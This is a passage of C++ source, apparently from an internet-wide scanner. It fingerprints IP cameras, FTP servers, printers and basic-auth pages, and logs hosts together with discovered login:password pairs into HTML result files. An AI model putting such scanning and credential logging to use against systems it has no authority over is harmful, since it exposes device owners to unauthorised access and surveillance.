"%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else if(strstri((char *)(temp2 + strlen("\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset =")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset =")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else + { + if(strstri(str, "charset=") != NULL) + { + char *temp2 = strstri(str, "charset="); + char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'>\n\r"); + if(temp3 != NULL) + { + int ln = (int)(temp3 - temp2 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + } + } + else + { + return "NULL"; + }; + }; + } + else if(strstri(str, "charset=") != NULL) + { + char *temp2 = strstri(str, "charset="); + char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r"); + if(temp3 != NULL) + { + int ln = (int)(temp3 - temp2 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else + { + return "NULL"; + }; +}; +int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) +{ + if(strlen(buffcpy) == 0) return -1; + +// char buffcpy[RECV_MAX_LENGTH] = {0}; + //std::string rr = toLowerStr(xcode(buffcp, CP_UTF8, CP_ACP).c_str()); + + //memcpy((void*)buffcpy, rr.c_str(), rr.size()); + + char negWord[256] = {0}; + for(int i = 0; i < GlobalNegativeSize; i++) + { + if(globalScanFlag) + { + strcpy(negWord, GlobalNegatives[i]); + if(strstr(buffcpy, negWord) != NULL && (strcmp(negWord, "") != 0 || strlen(negWord) >= 2)) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Negative hit: \"" + QString::fromLocal8Bit(negWord).toHtmlEscaped() + "\""); + if(strlen(negWord) < 2) + { + stt->doEmitionDebugFoundData(" Len:" + QString::number(strlen(negWord))); + }; + if(strcmp(negWord, "") == 0) + { + stt->doEmitionDebugFoundData("Empty hit!"); + }; + if(strcmp(negWord, " ") == 0) + { + stt->doEmitionDebugFoundData("Space hit!"); + }; + }; + ++Filt; + return -1; + }; + }; + ZeroMemory(negWord, 256); + }; + return 0; +}; +int globalSearchPrnt(char *buffcpy) +{ + if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL + || strstr(buffcpy, "konica minolta") != NULL || strstr(buffcpy, "/eng/home_frm.htm") != NULL + || strstr(buffcpy, "networkScanner webserver") != NULL || strstr(buffcpy, "/eng/htm/top.htm") != NULL + || strstr(buffcpy, "pages/t_ixdmy.htm") != NULL + || strstr(buffcpy, "/web/guest/") != NULL || strstr(buffcpy, "printerInfo") != NULL + || strstr(buffcpy, "hp photosmart") != NULL + || strstr(buffcpy, "menu and") != NULL + || strstr(buffcpy, "hewlett packard") != NULL + || strstr(buffcpy, "laserjet") != NULL || strstr(buffcpy, "supplies summary") != NULL + || strstr(buffcpy, "seiko epson") != NULL || strstr(buffcpy, "ink_y.png") != NULL + || strstr(buffcpy, "epsonnet") != NULL || strstr(buffcpy, "printer name") != NULL + ) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("Printer detected."); + }; + return -1; + }; +}; + +// 500 < 1600 +Lexems lxf; +int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) +{ + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //IPC web ip cam + if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam + if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstri(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstri(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera server") != NULL + || strstr(buffcpy, "ipcamera") != NULL || strstr(buffcpy, "$lock extended") != NULL + || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ipcam_language") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL + ) return 0; + if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; + if(globalSearchPrnt(buffcpy) == -1) return -1; + if(strstr(buffcpy, "
1600 +int _mainFinderSecond(char *buffcpy, int port, char *ip) +{ + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //web ip cam + if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam + if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstr(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera server") != NULL + || strstr(buffcpy, "ipcamera") != NULL || strstr(buffcpy, "$lock extended") != NULL + || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ipcam_language") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL + ) return 0; + + if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; + if(globalSearchPrnt(buffcpy) == -1) return -1; + if(strstr(buffcpy, " 500 && sz <= 3500) || sz > 180000) + { + res = _mainFinderFirst(lBuff, 0, port, ip); + } + else if(sz > 3500 && sz <= 180000) + { + res = _mainFinderSecond(lBuff, port, ip); + }; + delete []lBuff; + return res; + } + else return -1; +}; +void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss) +{ + if(trackerOK == true) + { + while(gGlobalTrackLocked == true) Sleep(10); + gGlobalTrackLocked = true; + + QJsonObject jsonData; + + if(gMode == 0 || gMode == -1) + { + if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) ); + else jsonData.insert("ip_addr", QJsonValue(QString("")) ); + + jsonData.insert("hostname", QJsonValue(QString(hostname)) ); + } + else + { + jsonData.insert("ip_addr", QJsonValue(QString("")) ); + jsonData.insert("hostname", QJsonValue(QString(ip)) ); + }; + + jsonData.insert("port", QJsonValue(QString(port).replace(":", "")) ); + jsonData.insert("recv", QJsonValue(QString(sz)) ); + QString tt = QString(base64_encode((const unsigned char *)title, strlen(title)).c_str()); + if(strlen(title) == 0) jsonData.insert("title", QJsonValue(QString("NULL")) ); + else jsonData.insert("title", QJsonValue(QString(base64_encode((const unsigned char *)title, strlen(title)).c_str())) ); + if(strlen(login) > 0) jsonData.insert("login", QJsonValue(QString(login)) ); + else jsonData.insert("login", QJsonValue(QString("")) ); + if(strlen(pass) > 0) jsonData.insert("pass", QJsonValue(QString(pass)) ); + else jsonData.insert("pass", QJsonValue(QString("")) ); + if(strlen(comment) > 0) jsonData.insert("other", QJsonValue(QString(comment)) ); + else jsonData.insert("other", QJsonValue(QString("")) ); + if(strlen(cdpg) > 0) jsonData.insert("encoding", QJsonValue(QString(cdpg)) ); + else jsonData.insert("encoding", QJsonValue(QString("")) ); + if(strlen(clss) > 0) jsonData.insert("Class", QJsonValue(QString(clss)) ); + else jsonData.insert("Class", QJsonValue(QString("")) ); + + while(jsonArr == NULL); + jsonArr->push_front(jsonData); + + gGlobalTrackLocked = false; + }; +}; +int __checkFileExistence(int flag) +{ + char fileName[64] = {0}; + + if(flag == 666 || flag == 350) strcpy(fileName, "./result_files/STRANGE_ERROR.html"); + else if(flag == -22) strcpy(fileName, "./result_files/ssh.html"); + else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./result_files/strange.html"); + else if(flag == 3) strcpy(fileName, "./result_files/other.html"); + else if(flag == 7) strcpy(fileName, "./result_files/low_loads.html"); + else if(flag == 10) strcpy(fileName, "./result_files/Login_forms.html"); + else if(flag == 16) strcpy(fileName, "./result_files/FTP.html"); + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./result_files/Basicauth.html"); + + FILE *f = fopen(fileName, "r"); + if(f == NULL) return true; + else + { + fclose(f); + return false; + }; +}; + +bool ftsAnom = true; +bool ftsOther = true; +bool ftsSSH = true; +bool ftsLL = true; +bool ftsFTP = true; +bool ftsBA = true; +bool ftsLF = true; + +bool fOpened = false; +char styleBuff[1024] = {""}; +char topBuff[1024] = {"

"}; +void fputsf(char *ip, char *port, char *text, int flag, char *msg) +{ + FILE *file = NULL; + bool firstTimeYeah = false; + +#pragma region FileExistenceCheck + if(flag == 0 || flag == 15 || flag == -10) + { + if(ftsAnom) ftsAnom = __checkFileExistence(flag); + file = fopen("./result_files/strange.html", "a"); + } + else if(flag == 3) + { + if(ftsOther) ftsOther = __checkFileExistence(flag); + file = fopen("./result_files/other.html", "a"); + } + else if(flag == -22) + { + if(ftsSSH) ftsSSH = __checkFileExistence(flag); + file = fopen("./result_files/SSH.html", "a"); + } + else if(flag == 7) + { + if(ftsLL) ftsLL = __checkFileExistence(flag); + file = fopen("./result_files/low_loads.html", "a"); + } + else if(flag == 10) + { + if(ftsLF) ftsLF = __checkFileExistence(flag); + file = fopen("./result_files/Login_forms.html", "a"); + } + else if(flag == 16) + { + if(ftsFTP) ftsFTP = __checkFileExistence(flag); + file = fopen("./result_files/FTP.html", "a"); + } + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1 + ) + { + if(ftsBA) ftsBA = __checkFileExistence(flag); + file = fopen("./result_files/Basicauth.html", "a"); + } + else + { + stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); + }; +#pragma endregion + if(file != NULL) + { + time_t rtime; + time(&rtime); + if(horLineFlag == false) + { + horLineFlag = true; + char delimiter[128] = {0}; + char cdate[32] = {0}; + strcpy (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcpy(delimiter, "
"); + strcat(delimiter, cdate); + strcat(delimiter, "
"); + fputs (delimiter, file); + }; + ++saved; + char *string = new char[strlen(text) + 512]; + if(flag != -22) + { + strcpy (string, "
"); + + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + } + else + { + strcpy (string, "
"); + + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + }; + +#pragma region styleFiller + if(flag == 0 && ftsAnom) + { + char tmsg[1024] = {0}; + ftsAnom = false; + strcpy(tmsg, "Anomalies"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs ("

", file); + }; + if(flag == 3 && ftsOther) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "Suspicious"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == -22 && ftsSSH) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "SSH"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 7 && ftsLL) + { + char tmsg[1024] = {0}; + ftsLL = false; + strcpy(tmsg, "Lowloads"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 16 && ftsFTP) + { + char tmsg[1024] = {0}; + ftsFTP = false; + strcpy(tmsg, "FTP"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 10 && ftsLF) + { + char tmsg[1024] = {0}; + ftsLF = false; + strcpy(tmsg, "LoginsForms"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + + }; + if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1) && ftsBA) + { + char tmsg[1024] = {0}; + ftsBA = false; + strcpy(tmsg, "BasicAuth"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + +#pragma endregion + int innerCounter = 0; + while(fOpened) + { + if(innerCounter > 20) + { + stt->doEmitionRedFoundData("\"fOpened\" loop detected!"); + break; + }; + ++innerCounter; + Sleep((rand() % 300 + 60)); + }; + fOpened = true; + fputs (string, file); + fclose (file); + fOpened = false; + + delete []string; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]"); +#pragma endregion + }; +}; +void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) +{ + char log[4096] = {0}, msg[512] = {0}; + + if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "[A]:"); + else if(flag == 3) strcpy(msg, "[S]:"); + else if(flag == 7) strcpy(msg, "[LL]:"); + else if(flag == 2) strcpy(msg, "[P]:"); + else if(flag == 666 || flag == 350) strcpy(msg, "[Strange Error]:"); + else if(flag == 10) strcpy(msg, "[LF]:"); + + QTextCodec *codec; + strcat(msg, ""); + strcat(msg, ip); + strcat(msg, ":"); + strcat(msg, port); + strcat(msg, ""); + + QString resMes(msg); + QString strf; + if(strstri(cp, "shift_jis") != NULL) + { + codec = QTextCodec::codecForName("Shift-JIS"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "utf") != NULL) + { + codec = QTextCodec::codecForName("UTF-8"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL) + { + codec = QTextCodec::codecForName("Windows-1251"); + strf = codec->toUnicode(finalstr); + } + else strf = QString(finalstr); + if(flag != 6 && flag != 5 && flag != 4 && flag != 666 && flag != 350) + { + strcat(msg, " : "); + int sz = strf.size(); + strncat(msg, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), (sz < 128 ? sz : 128)); + strcat(msg, ""); + resMes += " : " + QString(finalstr).toHtmlEscaped() + ""; + }; +#pragma region QTGUI_Area + stt->doEmitionFoundData(resMes); +#pragma endregion + + + strcpy(log, ""); + strcat(log, hl); + strcat(log, ""); + int flr = 40 - strlen(hl); + if(flr > 0) + { + while(flr != 0) + { + strcat(log, " "); + --flr; + }; + } + else strcat(log, " "); + strcat(log, ""); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, "; Received: "); + strcat(log, std::to_string((long double)recd).c_str()); + strcat(log, ""); + + if(flag == 666 || flag == 350) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Strange error"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 0 || flag == 15 || flag == -10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Anomaly"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 3) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Suspicious"); + ++PieSusp; + ++Susp; + } + else if(flag == 7) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Low load"); + ++PieLowl; + } + else if(flag == 10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Login form"); + ++PieWF; + }; + + if(flag != 6 && flag != 5 && flag != 4) + { + strcat(log, "; T: "); + + strncat(log, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), 100); + strcat(log, ""); + }; + strcat(log, "\n"); + + fputsf (ip, port, log, flag, msg); + + ZeroMemory(msg, strlen(msg)); +}; +void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieBA; + + strcpy(log, "[BA]:"); + strcat(log, ""); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Basic Authorization"); +}; +void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieWF; + + strcpy(log, "[WF]:"); + strcat(log, ""); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Web Form"); +}; +void _getFormVal(char *data, char *result, char *key, char *path = NULL) +{ + char parVal[256] = {0}; + int psz = 0; + char *pkeyResult1 = strstr(data, ">"); + if(pkeyResult1 != NULL) + { + psz = pkeyResult1 - data + 1; + strncpy(parVal, data, (psz < 256 ? psz : 256)); + } + else + { + strncpy(parVal, data, 256); + }; + int sz = 0; + char parVal2[256] = {0}; + + char startPath[256] = {0}; + if(strcmp(key, "action") == 0) + { + if(strstr(path, "./") == NULL) + { + char *ptrP1 = FindLastOcc(path, "/"); + if(ptrP1 != path) + { + int pSz = ptrP1 -path; + strncpy(startPath, path, pSz); + }; + }; + }; + char *keyResult1 = strstri(parVal, key); + if(keyResult1 != NULL) + { + char *pkeyResult2 = _findFirstOcc(keyResult1, " >"); + if(pkeyResult2 != NULL) + { + int psz2 = pkeyResult2 - keyResult1; + strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); + + char *keyResult2 = _findFirstOcc(parVal2, "'\""); + if(keyResult2 != NULL) + { + char *keyResult3 = _findFirstOcc(keyResult2 + 1, "'\"> "); + if(keyResult3 != NULL) + { + sz = keyResult3 - keyResult2 - 1; + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + }; + } + else + { + keyResult2 = _findFirstOcc(parVal2, "="); + if(keyResult2 != NULL) + { + char *keyResult3 = _findFirstOcc(keyResult2, "'\"> "); + if(keyResult3 != NULL ) + { + sz = keyResult3 - keyResult2 - 1; + strncpy(result, keyResult2 + 1, sz); + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, 